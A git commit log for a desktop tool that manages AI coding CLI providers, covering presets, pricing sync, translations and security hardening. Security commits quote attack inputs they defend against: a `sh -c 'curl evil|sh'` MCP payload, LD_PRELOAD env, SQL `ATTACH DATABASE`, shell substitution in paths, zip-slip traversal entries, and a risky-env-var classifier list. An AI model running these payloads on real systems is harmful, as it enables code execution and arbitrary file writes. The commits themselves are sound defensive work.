Compare commits

...

36 Commits

Author SHA1 Message Date
Jason 28529620f4 docs(release): add v3.19.1 release notes 2026-07-31 22:30:36 +08:00
Jason b3a20e58b0 chore(release): v3.19.1 2026-07-31 22:30:28 +08:00
Jason 58dd376dc4 feat(codex): add Tencent Hunyuan TokenHub preset with native Responses
Official TokenHub Codex docs (cloud.tencent.com/document/product/1823/133532)
confirm hy3 speaks the Responses API natively; the mandatory
disable_response_storage=true is already emitted by the config
generator. Models hy3/hy3-preview are text-only with a 256k context
window. Endpoint candidates include the official backup domain, while
the intl site is excluded because API keys are region-scoped.
2026-07-31 19:12:58 +08:00
Jason 56a66eea36 feat(codex): switch Volcengine Agentplan preset to native Responses
Official Codex docs (volcengine.com/docs/82379/2556056, updated
2026-07) confirm the Coding Plan endpoint /api/coding/v3 supports the
Responses API, so the preset no longer needs local route conversion.
BytePlus stays on Chat routing until the international-site docs are
verified. Also document the billing pitfall: the pay-as-you-go /api/v3
endpoint must never appear in plan-subscription endpoint candidates.
2026-07-31 19:12:58 +08:00
Jason 8ae1ce8558 feat(codex): add DeepSeek native Responses support with official catalog mirror
- Switch the DeepSeek preset to openai_responses and align context
  windows with the official catalog (1048576)
- Mirror DeepSeek's official models.json verbatim for native /responses
  providers on deepseek.com hosts, keeping the official GPT-5 harness
  and freeform apply_patch registration self-consistent
- Make catalog spec displayName/contextWindow explicit-only (Option) so
  local defaults no longer clobber official vendor values
2026-07-31 19:12:58 +08:00
Jason f42534ed26 fix(pricing): sync seeded model prices with vendor list prices
- deepseek-chat / deepseek-reasoner: now legacy aliases of V4 Flash,
  0.27/1.10 & 0.55/2.19 -> 0.14/0.28 (cache read 0.0028)
- minimax-m3: 0.60/2.40 -> 0.30/1.20 (official standard tier)
- gpt-5.6-luna -80% (1/6 -> 0.20/1.20) and gpt-5.6-terra -20%
  (2.50/15 -> 2/12) per OpenAI's 2026-07-30 price cut; sol unchanged
- seed 8 new models: bare claude-{opus,sonnet}-4-6, gemini-3.5-flash-lite,
  kimi-k2.7-code-highspeed, glm-5-turbo, glm-5v-turbo, gpt-5.3-codex-spark,
  qwen3.6-flash
- repair guards for existing installs, dual guards on GPT-5.6 rows to
  cover pre-v3.19 DBs that missed the cache-write backfill
2026-07-31 19:12:58 +08:00
Jason e3f80a98f3 fix(codex): clear stale auth on official switch 2026-07-31 19:12:58 +08:00
Jason f07edc7680 fix(settings): make Grok Build upgrade work from the GUI
`grok update` discovers and installs releases by spawning `npm view` and
`npm i -g`, even for xAI's native install — 0.2.112 moved the self-update
path onto npm distribution, so the binary now needs node on PATH.
Lifecycle scripts run under a non-login `bash -c` inheriting launchd's
narrow PATH, where npm and node are invisible, so upgrading grok failed
with a bare `Error: No such file or directory (os error 2)`.

Inject the login shell's real PATH into run_tool_lifecycle_silently,
closing the asymmetry between probing (`$SHELL -lic`, which reads .zshrc)
and execution (non-login bash). Read it through `/usr/bin/env` rather
than `echo $PATH`: fish stores PATH as a list and would emit
space-separated segments, while env always prints the child's real
environment. This also revives the install chain's bare `npm i -g`
fallback, which could only ever exit 127 under the narrow PATH.

Chain the official installer after native Grok's self-update. An npm
fallback would share both of the primary's failure modes — no node, or a
registry mirror missing the tarball — and fail alongside it; the
installer is the only node-free path and lands in the same ~/.grok/bin.
It also rewrites `[cli] installer` back to `internal`, healing users whom
the install-time npm fallback had switched onto npm distribution.
2026-07-31 19:12:58 +08:00
mhy1227 a354f08a3d fix(i18n): add 9 missing translation keys to all locales (#5960)
* fix(i18n): add missing grokBuild translation keys to all locales

providerForm.requiredFields and failover.tooltip.takeoverRequired were
missing from all four locale files (en, zh, zh-TW, ja). The Grok Build
provider form validation toast and the failover tooltip fell back to
hardcoded Chinese defaultValue, which leaked simplified Chinese into
zh-TW and zh-Hant UI even though fallbackLng is set to en.

Add the two keys to every locale so each language shows its own
translation.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(i18n): add 6 more missing translation keys to all locales

A broader scan found six more keys referenced in code with hardcoded
Chinese defaultValue but missing from all four locale files (en, zh,
zh-TW, ja):

- provider.duplicateLiveIdsLoadFailed (App.tsx provider duplicate toast)
- codexConfig.noCommonConfigToApply (useCodexCommonConfig snippet error)
- claudeDesktop.route.stopBlockedByTakeover (ClaudeDesktopRouteToggle warning)
- notifications.proxyReasonClaudeDesktop (useProviderActions proxy reason)
- proxy.server.stopped / proxy.server.stopFailed (useProxyStatus toasts)

Add proper per-language translations to all locales, matching the
existing sibling-key style (e.g. proxy.server.started/startFailed uses
the same {{detail}} interpolation).

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(i18n): add missing unpriced translations

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: Jason <farion1231@gmail.com>
2026-07-31 18:18:32 +08:00
Komi 4bfb3fc30d fix(usage): dedupe Claude Desktop proxy and session logs (#5951) 2026-07-31 15:00:18 +08:00
Thefool c49cf96a16 fix(grokbuild): complete proxy and deep-link integrations (#5677)
* fix(grokbuild): complete proxy integration

* fix(deeplink): preview GrokBuild configs safely

* test(app): stabilize provider integration suite

* fix(grokbuild): address review feedback

* fix(grokbuild): resolve remaining review findings

* fix(grokbuild): use native sessions and harden previews
2026-07-31 14:56:42 +08:00
Leo b884595a23 fix(i18n): prevent zh-TW tool management fallbacks (#5943)
Complete the Traditional Chinese strings for the About-page tool manager and align the install/update hint with the current supported tools. Add locale coverage that requires every tool-management label and preserves interpolation variables across all four translations.

Constraint: The About tool manager was extended across three commits without matching zh-TW entries.
Rejected: Rely on i18next fallback text | leaves the Traditional Chinese UI partially English and hides future locale drift.
Confidence: high
Scope-risk: narrow
Directive: Update toolManagementLocales.test.ts whenever the About tool manager adds a translatable label.
Tested: pnpm typecheck; pnpm format:check; 7 locale tests; 575 Vitest tests; zero missing zh-TW settings keys
Not-tested: Manual visual inspection of the About page
Related: e3df86587, ea604a182, 014c82d28
2026-07-31 12:23:36 +08:00
SaladDay 4317bd9981 refactor: remove redundant proxy query paths (#5928) 2026-07-31 08:52:22 +08:00
SaladDay 3c1154bed9 refactor: remove superseded dead code (#5916) 2026-07-30 22:32:10 +08:00
Jason c0ff89b9b2 docs(changelog): sync 3.19.0 security section with the release notes 2026-07-30 12:02:34 +08:00
Jason 3b9d059343 docs(release): add v3.19.0 release notes 2026-07-30 12:01:38 +08:00
Jason 6b13d01825 chore(release): v3.19.0 2026-07-30 09:29:54 +08:00
Jason f5f4281d06 refactor(ui): always show icon-only app switcher, drop auto-compact
The toolbar app switcher used a ResizeObserver-based overflow detection
(useAutoCompact) to collapse app labels when space ran out. With the
number of managed apps growing, the labels are collapsed in practice
anyway, so remove the mechanism and render icons only. Buttons now carry
title/aria-label so app names remain discoverable via tooltip and
accessible to screen readers.
2026-07-30 08:52:48 +08:00
ayanamislover 56fb46c093 perf(codex): cache parent rollout timelines across fork cutoffs (#5626)
* perf(codex): cache parent rollout timelines

* fix(codex): harden parent timeline cache

* fix(codex): tighten replay cache invalidation

---------

Co-authored-by: Ayanami <ay@nami.ltd>
Co-authored-by: SaladDay <92240037+SaladDay@users.noreply.github.com>
2026-07-29 23:49:46 +08:00
Jason 30409878bd chore(presets): add PackyCode backup endpoints
Add three fallback endpoints alongside the primary www.packyapi.ai across
the five preset files that support endpointCandidates:

  https://cf.api.fan
  https://slb-v1.api.fan
  https://www.packyapi.com

The /v1 suffix follows each file's existing convention rather than the
literal values supplied: bare domains for the Anthropic-native presets
(Claude Code, Claude Desktop, Gemini), /v1 for Codex and Grok Build.
Candidates are consumed as complete base URLs by the endpoint picker and
the speed test, so they must sit at the same path level as the primary.

www.packyapi.com is the pre-b0482320 domain, kept here deliberately as a
fallback -- not a leftover of that migration.

OpenCode, OpenClaw and Hermes have no endpointCandidates field in their
interfaces and are untouched.
2026-07-29 17:09:29 +08:00
Jason bfb767ae17 chore(presets): align Code0 and Qiniu Gemini defaults to 3.6 Flash
Both presets pinned gemini-3.1-pro-preview while the other Gemini presets
had moved to gemini-3.6-flash. Note this is a tier change rather than a
version bump: there is no 3.6 Pro release and 3.5 Pro is still limited to
partner testing, so the current baseline is a flash-tier model.

The gemini-3.1-pro-preview row in the built-in pricing seed is kept so
historical usage keeps its cost.
2026-07-29 16:40:31 +08:00
Jason dbb265956e feat(presets): add A6API sponsor preset across all supported apps
Add the A6API aggregator preset to Claude Code, Claude Desktop, Codex,
Gemini CLI, OpenCode, OpenClaw, Hermes and Grok Build, placed after
NekoCode in the sponsor ordering. Base URLs follow the per-client
convention: no /v1 suffix for the Anthropic-native and Gemini endpoints,
/v1 for the OpenAI-compatible ones. Model defaults mirror NekoCode.

Also add the four-locale promotion copy, the sponsor row in all four
READMEs and the icon index entry.

The supplied artwork was resized before landing: the icon was a 1024x1024
PNG base64-wrapped in an SVG shell (652K, the largest entry in iconUrls
and shipped in every build), now a 256x256 PNG at 60K; the banners were
16:9, the only ones deviating from the 2.406 project standard, now
cropped to 1280x532.
2026-07-29 16:40:23 +08:00
Jason 87b0e3fb85 fix(test): pin zip extraction temp dir instead of hijacking TMPDIR
The two cleanup-guard tests introduced in ff3bc242 set the process-global
TMPDIR to a scratch dir and asserted it ended up empty. serial_test only
serializes marked tests, so any concurrent test creating a tempdir inside
the hijacked window landed in scratch and randomly failed the emptiness
assertion on Ubuntu/macOS CI (Windows ignores TMPDIR).

Add an extract_local_zip_in(zip_path, base_dir) seam that takes the temp
base explicitly; the public function delegates with std::env::temp_dir().
Tests now pass their private scratch dir directly, dropping the TMPDIR
mutation and the serial markers — the race is impossible by construction.
2026-07-29 10:22:30 +08:00
Jason b33d300d0b docs(security): document the threat model and reporting scope
The policy explained how to report but never what counts as a
vulnerability, so any finding phrased as "IPC command X, given parameter
Y, writes a file" arrived as a valid report.

Records the trust boundary as a scoping decision supported by four
checkable facts about the shipped renderer, each with the condition that
would invalidate it. The exemption covers only reports whose sole route
to the IPC surface is DevTools or a locally modified frontend; a chain
starting from a deep link, remote data, an inbound proxy request or an
XSS stays in scope. Trust in the renderer covers the code we ship, not
arbitrary values flowing through it.

Notable corrections to the first draft, from review:

  - the app is not free of server components: it runs a local HTTP proxy
    whose listen address is user-configurable and may be non-loopback.
    Inbound requests to it are now listed as untrusted input
  - "no remote content" was already false. The renderer fetches model
    pricing JSON and provider avatars, which CSP permits. Narrowed to
    remote *executable* content, and the remote data it does fetch is
    named and classified as untrusted
  - having the same filesystem permissions as the user does not make a
    write the user's decision. Confused-deputy cases, where an untrusted
    source controls the path or content, are in scope
  - user-authored integrations that run commands are out of scope; the
    same integrations arriving by import or deep link are not, and the
    required property there is informed consent
  - being in scope here and meeting GitHub's CVE eligibility criteria
    are separate questions, decided by different parties
2026-07-29 10:22:30 +08:00
Jason 245d180c25 docs(user-manual): correct the deeplink usageEnabled default
All three manuals stated the parameter defaults to true. It now defaults
to false, and the script body is shown in full before import. Without an
explicit `true` the script is imported but left disabled, and can be
enabled from the app.
2026-07-29 10:22:30 +08:00
Jason cfa90f396a fix(deeplink): import usage scripts disabled and show their code
An imported usage script is JavaScript that runs whenever usage is
queried. Two things made it possible to acquire one without seeing it:

  - `usage_enabled.unwrap_or(!code.is_empty())` treated the presence of
    code as a decision to run it, so a link that simply carried a script
    got it enabled
  - the confirmation dialog rendered only an enabled/disabled badge; the
    script body was never displayed

Default to disabled. Enabling now requires `usageEnabled=true` in the
link -- which is the link author's request, not the user's consent. The
consent is the user pressing Import after seeing the full script body
and the badge, which is why both displays are load-bearing rather than
decorative.

The badge predicate moves from `!== false` to `=== true` to match the
new backend default. Left alone it would have started rendering "did not
say" as a green "Enabled" -- more optimistic than what would actually
happen.

Extracts the payload decode into `decodeDeeplinkPayload`, which falls
back to the raw string when decoding fails or yields empty. A dialog
whose job is to show what is about to be written must not let a payload
vanish just because it is malformed; empty reads as "there is no
script", which is exactly the wrong impression.
2026-07-29 10:22:30 +08:00
Jason 19bf236e58 fix(deeplink): decode URL-safe Base64 in import confirmations
The renderer only fed input to `atob`, which rejects the URL-safe
alphabet (RFC 4648 §5). The backend, meanwhile, tries STANDARD,
STANDARD_NO_PAD, URL_SAFE and URL_SAFE_NO_PAD in turn, so a link whose
payload used `-`/`_` decoded fine on the way in but not on the way to
the screen.

`decodeBase64Utf8` swallows its own failure and returns the input
unchanged, so the mismatch was silent:

  - usage script  -> the confirmation showed opaque Base64
  - prompt        -> same
  - MCP config    -> `JSON.parse` threw, the catch returned null, and
                     the dialog rendered "0 servers" with an empty list

The MCP case defeated the server/argument display added earlier: a
one-character substitution made the whole list disappear while the
backend still imported the real `mcpServers` entry.

Normalize `-` to `+` and `_` to `/` before decoding, in both the primary
path and the last-resort fallback, so the two sides agree on what a
payload says. Standard Base64 contains neither character, so this cannot
misread standard input.

Adds the first tests for this shared decoder. They exercise the real
implementation rather than an injected stub, and assert their own
premise -- a payload whose standard encoding happens to contain no `+`
or `/` makes the URL-safe conversion a no-op and the test vacuous.
2026-07-29 10:22:30 +08:00
Jason a443eae95a fix(deeplink): surface MCP args/env and flag risky values on import
The MCP confirmation rendered only `Command: ${spec.command}`, inside a
`truncate` container, and showed neither `args` nor `env`. The realistic
payload -- `command: "sh"`, `args: ["-c", "curl evil|sh"]`, plus an
`env` carrying LD_PRELOAD -- therefore displayed as a harmless
`Command: sh`. On confirm it is written to `~/.claude.json` and the other
live files, and the CLI spawns it on next launch.

Render command, args, url and env on separate lines, expanding args
item by item rather than joining them: the payload usually sits inside
one argument, and joining then truncating is exactly how it stayed
hidden. `break-all` replaces `truncate` so nothing is clipped out of
view. Rows matching a `classify*` helper are marked, with a summary
block underneath since per-row markers are easy to skim past.

The provider side already listed env keys and values; it gains the same
highlighting, `break-all`, and an endpoint marker, and now shares
`maskValue` with the MCP view.

Show the "written to the target apps immediately" warning
unconditionally. It was gated on `request.enabled`, but the MCP import
path never reads that field -- `deeplink/mcp.rs` has no reference to it
and calls `set_enabled_for(&app, true)` unconditionally, unlike
prompt.rs, skill.rs and provider.rs which do honour it. Gating on it let
a malicious link omit `enabled` to suppress the warning while the write
behaviour stayed identical, turning the warning into a switch the
attacker controls.

New i18n keys added to all four locales (zh/en/ja/zh-TW).
2026-07-29 10:22:30 +08:00
Jason 6dbb944b54 feat(deeplink): add risk classification helpers for import confirmation
Pure helpers used only to annotate the deep-link confirmation dialog.
They deliberately do not block anything: custom endpoints and env vars
are normal third-party provider configuration (`http://localhost:11434`
is ordinary Ollama usage), so filtering them would break legitimate
setups. The actual gap is that the user cannot see what they are
approving, which is a visibility problem, not a policy one.

- `classifyEnvKey` flags variables that change how a process loads code
  rather than which API it talks to: LD_*/DYLD_*, NODE_OPTIONS,
  NODE_EXTRA_CA_CERTS, PYTHONPATH, PATH, HTTP(S)_PROXY and friends. No
  legitimate provider preset needs these set over a shared link.
- `classifyEndpoint` matches loopback, RFC 1918, link-local and cloud
  metadata addresses. Literal matching only, no DNS resolution: resolving
  adds latency and the answer can differ from what the client resolves
  later (rebinding), so treating it as a control would be false
  assurance. Handles IPv4-mapped IPv6, since `new URL()` normalizes
  `[::ffff:127.0.0.1]` to hex `[::ffff:7f00:1]` and a dotted-quad regex
  alone misses that whole class.
- `classifyCommand` looks at command *and* args, because the realistic
  payload is `command: "sh"` with `args: ["-c", "curl evil|sh"]` -- a UI
  that renders only the command shows a harmless `sh`. Inline-command
  flags are matched by shape, not by literal, to cover combined POSIX
  short options (`bash -lc`), case-insensitive `cmd /C`, and PowerShell's
  abbreviations of `-Command`.

Every parameter takes `unknown`. These values come from arbitrary
base64-decoded JSON, where TypeScript annotations offer no runtime
guarantee; a non-string `command` would throw on `.split()` and blank the
whole confirmation dialog, which is worse than the misleading render it
replaces -- the user would not even see that something wants importing.

`maskValue` moves here from the dialog component so the MCP and provider
confirmations share one redaction rule instead of drifting apart.
2026-07-29 10:22:30 +08:00
Jason cd17912f04 fix(config): stop common config snippet walkers touching Object.prototype
`JSON.parse('{"__proto__":{…}}')` produces `__proto__` as an *own
enumerable* property, so `Object.entries` yields it; and
`isPlainObject(Object.prototype)` is true, so `deepMerge` skipped its
"replace with empty object" branch and merged straight into the global
prototype. Reproduced, not inferred.

`deepRemove` had the same shape and was destructive: `"__proto__" in
target` is always true because `in` walks the prototype chain, so it
recursed into `Object.prototype` and deleted from it.

Reachable without XSS: `settings` is not in the sync skip/preserve lists,
so `common_config_*` is overwritten by whatever the WebDAV/S3 remote
sends, and opening a provider form merges it.

Guard all three walkers that share the traversal shape. The third,
`isSubset`, only reads and cannot pollute, but following
`target["__proto__"]` made `{"__proto__":{}}` a subset of *every* config,
so the "common config applied" toggle read wrong. It also now requires
own properties, since an inherited key is not "present in the config".

`isSubset` rejects on a forbidden key rather than skipping: if a future
caller bypasses sanitization, reporting "not applied" is the safe
direction because re-applying is idempotent.

That rejection alone left an inconsistency: merge skips forbidden keys
and keeps going, so `{"env":{"A":"1"},"__proto__":{}}` really did write
`env.A` while `hasCommonConfigSnippet` reported it as never applied.
Fixed by sanitizing on the *reading* side only, so the comparison runs
against exactly what the write side produces. Deliberately not applied to
the write path: `deepMerge`/`deepRemove` already skip these keys, so
sanitizing first is byte-for-byte identical there -- an unfalsifiable
call that would wrongly imply the walkers cannot handle their own input.

`deepCloneFallback` gets the same skip. Its impact differs and the
comment says so: it does not reach the global prototype, it swaps the
clone's own prototype, giving the copy ghost properties. It is dead while
`structuredClone` exists, but the two paths disagreed on `__proto__`.
2026-07-29 10:22:30 +08:00
Jason 134bdc0e65 docs(sessions): record the renderer trust boundary for terminal launch
`launch_session_terminal` takes an arbitrary string from the renderer and
hands it to a shell. External audits report this as arbitrary command
execution over IPC. Document it as a known, accepted risk instead of
leaving it to be re-reported every audit cycle.

The precondition for exploiting it is control over the renderer, which
already implies local code execution as the user -- at which point going
through this command grants nothing extra. The renderer is treated as a
trusted boundary, supported by four facts each verified against the tree:

- the only `dangerouslySetInnerHTML` (ProviderIcon) takes an icon *name*,
  gated by `hasIcon()`, and reads the SVG from a build-time registry;
  neither users nor deep links can supply markup
- no `eval` / `new Function` anywhere in the frontend
- `frontendDist` points at the bundled output, the webview loads no
  remote origin, and there are no `<iframe>` / `<webview>` elements
- CSP is `script-src 'self'` -- no inline and no external scripts

The note lists what invalidates the conclusion, so the exemption is
falsifiable rather than a standing opinion: rendering network- or
config-sourced rich text, embedding a webview or navigating to a remote
origin, relaxing `script-src`, or introducing any way to execute
external code in the renderer. Any of those and this command must be
changed to accept a session identifier and rebuild the command in the
backend.

It also states explicitly that `cwd` is *not* covered. That value comes
from disk scanning and can legitimately contain `$(...)` regardless of
renderer trust, which is why it is escaped rather than exempted. Without
that sentence "the renderer is trusted" invites being read as "nothing
on this path needs handling".
2026-07-29 10:22:30 +08:00
Jason 35486afdda fix(sessions): use POSIX single-quote escaping for terminal cwd
`shell_escape` wrapped the working directory in double quotes and escaped
only `\` and `"`. Inside double quotes a shell still expands `$(...)`,
backticks and `$VAR`, so the quoting stopped spaces but not command
substitution. Verified: `cd "/tmp/$(id -un)"` runs `id`.

The value is `selectedSession.projectDir` -- a real path recorded in the
AI CLI's session history. macOS allows `$`, `(` and `)` in directory
names, so any project whose folder is named that way triggers it on
Resume; no compromised renderer is required.

Three built-in launchers were affected because they route through
`build_shell_command(command, cwd)`: Terminal.app, iTerm and kitty.
Ghostty, WezTerm/Kaku and Alacritty were already correct -- they pass the
directory as its own argv element (`--working-directory` / `--cwd`) and
call `build_shell_command(command, None)`. Terminal and iTerm go through
AppleScript `do script`, which accepts a single shell line and has no
cwd parameter, so correct quoting is the only option there.

Switch to POSIX single quotes, where nothing expands, using the
close-escape-reopen `'\''` sequence for embedded quotes. A test pins the
two-layer interaction with `escape_osascript`, which doubles backslashes
on the way into the AppleScript literal.

Also escape the `{cwd}` substitution in `launch_custom`, and correct that
function's comment: the escaping there is context-dependent and only
holds while the placeholder sits in an unquoted shell word. A template
written as `echo "{cwd}"` puts the inserted quotes inside double quotes
and command substitution runs again. The branch has no UI entry point
today; the note now says it must be redesigned before one is added
rather than implying it is already safe.
2026-07-29 10:22:29 +08:00
Jason c98913df41 fix(database): reject cross-file statements during SQL import
`import_sql_string_inner` validated only that the file starts with the
`-- CC Switch SQLite 导出` comment, then handed the whole text to
`execute_batch`. Anything after that prefix ran unchecked, so a crafted
backup could `ATTACH DATABASE '/path/x.db'` and create a SQLite file
anywhere the user can write. The side effect lands before
`validate_basic_state`, so the file survives even when the import as a
whole fails. `settings` is in neither SYNC_SKIP_TABLES nor
SYNC_PRESERVE_TABLES, so the WebDAV/S3 sync path reaches the same code.

Install a SQLite authorizer for the duration of the external batch only,
then clear it so our own schema maintenance is unaffected.

Deny what can leave the temp database rather than allow-listing what
`dump_sql` emits. The batch runs on a throwaway NamedTempFile whose
entire contents are already decided by that same SQL, so DELETE/DROP/
UPDATE hand an attacker nothing new -- the only meaningful boundary is
the temp file itself. A strict allow-list only adds the risk of refusing
a legitimate backup whose schema has a shape we did not anticipate.

The denied set was measured, not guessed: `ATTACH DATABASE 'x'`,
`VACUUM INTO 'x'` and bare `VACUUM` all surface as `AuthAction::Attach`,
so one rule covers all three -- which keyword scanning would not, since
`VACUUM INTO` contains no "ATTACH". Also deny vtable creation
(file-backed modules such as csvfile can read and write arbitrary paths)
and `Unknown`, so future SQLite statements fail closed.

Tests cover both denied statements (asserting no file is left on disk,
not merely that the call errors) and a real export round-trip, which
guards against the allow-list regressing into false refusals.
2026-07-29 10:22:29 +08:00
Jason 993077c60c chore(presets): migrate AIGoCode sponsor domain to .app
Full domain migration aigocode.com -> aigocode.app (bare domain +
api. subdomain, invite path unchanged) across all 8 preset files
and 4 README languages. Icons, promotion keys, and i18n copy
unchanged.
2026-07-29 10:22:29 +08:00
Thefool 12b972a66e feat(usage): add automatic models.dev pricing sync (#5734)
* feat(usage): persist model pricing in local config

* feat(usage): sync selected models.dev pricing on startup

* fix(usage): address models.dev sync review feedback

* fix(usage): harden local pricing synchronization
2026-07-28 23:37:55 +08:00
zayoka ff3bc242cc fix(Security): zip-slip on skill install, two credential leaks, and three panic paths (#5811)
* fix(security): harden GrokBuild credential handling and Codex/Anthropic transforms against malformed input

Three robustness/security fixes in the upstream v3.18.0 code, each with a
regression test.

1) grok_config: remove the unconditional XAI_API_KEY fallback in
   extract_credentials(). Credentials now come only from an explicit inline
   api_key or the process env var named by env_key. Silently substituting a
   different account's key (when the declared env_key var is unset) could
   leak that key to whatever base_url the config points at.

2) deeplink/provider: merge_grokbuild_config no longer resolves env vars
   into a plaintext api_key on import. A deeplink is untrusted input;
   resolving+inlining would persist the victim's environment secret into the
   imported provider's config.toml and ship it to the link's declared
   base_url. env_key now stays an indirection (name), not a resolved secret.

3) proxy transforms: stop panicking on malformed upstream data.
   - transform_codex_anthropic::anthropic_sse_to_message_value: only store a
     `message`/`content_block` when it is an object; otherwise treat it as
     empty, so the later `["content"]`/`["text"]`/`["signature"]` index
     assignments can't panic on a scalar/array Value.
   - streaming_codex_anthropic::responses_sse_events_from_anthropic_message:
     bail out with a failed-event when the buffered body is a top-level JSON
     array/scalar (a gateway that ignores stream:true), instead of
     index-assigning into a non-object.
   - mcp/grokbuild sync: normalize a non-table `mcp_servers` before
     inserting, avoiding a toml_edit IndexMut panic on a user-edited
     config.toml.

Panic findings verified with a minimal repro (serde_json index-assignment on
a non-object Value aborts). cargo test --lib: 2183 passed / 0 failed.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(mcp): normalize a non-table `mcp_servers` in Codex config before insert

Same class of bug as the GrokBuild MCP fix in the previous commit, but in the
much more widely used Codex path.

`sync_single_server_to_codex` guarded only with `contains_key("mcp_servers")`,
so a user-edited `~/.codex/config.toml` where the key exists but is *not* a
table (`mcp_servers = "x"` / `[]` / `42`) skipped the rebuild and then hit
`doc["mcp_servers"][id] = …`, which panics in toml_edit's `IndexMut`
(`.expect("index not found")`). The panic happens inside a Tauri command and
unwinds across the FFI boundary; in the provider-switch flow it also fires
after the DB/live write already committed, leaving a half-applied switch.

Extract the normalize-then-insert step into `upsert_mcp_server_table()` so the
previously panic-prone logic is unit-testable without touching the real
`~/.codex/config.toml`, and normalize any non-table value to an empty table
before inserting.

Audited the sibling MCP writers while here: claude.rs / gemini.rs /
hermes.rs / opencode.rs do not have this pattern (their `contains_key` uses are
read-only checks), and the other index-assignments in codex.rs operate on
freshly built `Table::new()` values, which are safe.

Tests: 2 new regression tests (malformed non-table values normalize and insert;
an existing valid table keeps its entries). cargo test --lib 2185 passed / 0
failed; cargo clippy --lib -D warnings clean.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(security): reject path-traversal entries when extracting a skill repo archive

`SkillService::download_and_extract` built the output path from the raw ZIP
entry name (`file.name()`), stripped only the leading `<repo>-<branch>/`
component, and then `dest.join(relative_path)` → `fs::File::create`. A crafted
entry such as `repo-main/../../../evil.sh` therefore escaped the destination
directory (zip-slip): arbitrary file write outside the temp extraction dir.

The archive is third-party controlled: it is downloaded from
`https://github.com/<owner>/<name>/archive/refs/heads/<branch>.zip`, and a
skill repo (`owner`/`name`) can be added through an untrusted `ccswitch://`
deeplink (`deeplink/skill.rs`), so the attacker fully controls the archive
contents.

Fix: resolve each entry through `zip::read::ZipFile::enclosed_name()`, which
rejects `..` components and absolute paths, before stripping the archive's
root directory and joining onto `dest`. Unsafe entries are skipped with a
warning. This matches what the two sibling extractors in this codebase already
did correctly (`extract_local_zip`, `webdav_sync/archive.rs`) — this call site
was the one that had been missed.

The extraction loop is split out into `extract_repo_archive()` so the guard is
testable without network access.

Verified the test actually catches the bug: with the guard reverted to the old
`file.name()` behaviour the new test fails ("zip-slip entry must not escape
dest (temp root)"); with the guard in place it passes.

cargo test --lib: 2186 passed / 0 failed; cargo clippy --lib -D warnings clean.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(security): strip all credentials from the shared Gemini common-config snippet

`extract_gemini_common_config` skipped only two hardcoded keys
(`GOOGLE_GEMINI_BASE_URL`, `GEMINI_API_KEY`) and copied every other `env`
entry into the shared snippet. But `GOOGLE_API_KEY` is a first-class Gemini
credential — `provider.rs` resolves it via
`first_non_empty(env, &["GEMINI_API_KEY", "GOOGLE_API_KEY"])` — so it was
never stripped.

That snippet is not inert: `apply_common_config_to_settings` (live.rs)
deep-merges it into the `env` of *every other* Gemini provider that uses the
common config, and the snippet is auto-extracted on startup, on import, and on
switch. Net effect: account A's key gets written into provider B and sent to
B's `GOOGLE_GEMINI_BASE_URL`, which may be a third-party relay. Anything else
the user put in `env` (`GOOGLE_APPLICATION_CREDENTIALS`, a proxy
`*_AUTH_TOKEN`, …) leaked the same way.

Fix: also skip `Self::is_sensitive_config_key(key)`, reusing the pattern
matcher the Claude extractor already relies on for exactly this reason (its
comment notes a fixed enumeration "will always miss the next `*_API_KEY`").
`GOOGLE_API_KEY` matches its `_API_KEY` suffix rule. Shareable non-secret
config (e.g. `GEMINI_TIMEOUT_MS`) is preserved.

Verified the test catches the bug: run against the old two-key filter it fails
with "credential GOOGLE_API_KEY must not leak into the shared Gemini snippet";
with the fix it passes.

cargo test --lib: 2187 passed / 0 failed; cargo clippy --lib -D warnings clean.

Co-Authored-By: Claude <noreply@anthropic.com>

* fix(security): validate skill directory from backups and sync-imported DB rows

The skill install pipeline sanitizes the install directory name, but two
entry points bypassed it entirely:

- restore_from_backup joined metadata.skill.directory (raw meta.json
  content) into the SSOT dir with no validation, allowing a crafted
  backup to copy attacker-controlled files outside the skills directory
  and to persist the poisoned value into the database.
- Sync import (WebDAV/S3) loads the remote database dump verbatim, so a
  malicious or compromised sync snapshot could plant a skills row whose
  directory contains path traversal. Every later raw join then operated
  on attacker-controlled paths — uninstall/remove_from_app would
  remove_dir_all outside the managed dirs (arbitrary directory deletion),
  and sync_to_app_dir would write/symlink outside them.

Add require_valid_directory() (built on the existing
sanitize_install_name) and enforce it at restore_from_backup,
sync_to_app_dir, remove_from_app, and uninstall. Regression tests cover
all three sinks plus the metadata path; each was verified against the
unguarded code first (disabling the guard makes the restore/uninstall
tests complete the traversal write/delete, failing the assertions).

Also fixes a pre-existing cargo fmt drift in mcp/grokbuild.rs.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(security): reject path separators in sanitize_install_name on all platforms

The previous components()-based check was platform-dependent: on
Linux/macOS a backslash is not a path separator, so "a\b" parsed as a
single Normal component and was accepted as a valid install name — the
same value becomes a nested path when synced or restored onto Windows.
CI caught this on the Linux runner (the Windows runner passed).

Reject both '/' and '\' explicitly so the validation is
platform-independent; the components() check stays as the second layer
for dot segments, roots, and prefixes.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(security): close the remaining skill-install attack chain

The zip-slip guard added earlier only covered half the problem, and the
repo coordinates that decide *which* archive gets downloaded were never
validated at all. Together those two gaps let an attacker choose both the
bytes and where they land.

1) zip-slip, second layer. `enclosed_name()` only guarantees the entry does
   not escape the *archive's own* root, and it does not normalise the path —
   `..` survives verbatim in the returned value. Stripping `root_name`
   afterwards spends one level of that depth budget, so `repo-main/../evil`
   still escaped `dest`. On Windows it is worse: `root_name` comes from
   `split('/')` and may contain backslashes, which Windows treats as
   separators, so one `strip_prefix` can eat N components. Re-check the
   *actual* relative path for `ParentDir` right before `dest.join()`.
   Verified by reverting the guard: the single-`..` case escapes without it.
   (The existing test used two `..`, which `enclosed_name()` rejects on its
   own — it covered the half that was already guarded.)

2) Repo coordinates are now validated. `download_repo` formats owner/name/
   branch straight into
   `https://github.com/{owner}/{name}/archive/refs/heads/{branch}.zip`,
   and `deeplink/skill.rs` applied no validation whatsoever. URL parsing
   resolves dot segments, so a branch of
   `../../../releases/download/v1/evil` retargets the request at a *release
   asset* — arbitrary attacker-uploaded bytes. That is what made (1)
   reachable in practice: git itself will not let a tree contain `..`.
   Note the trigger is below "install": repos are enabled by default, so
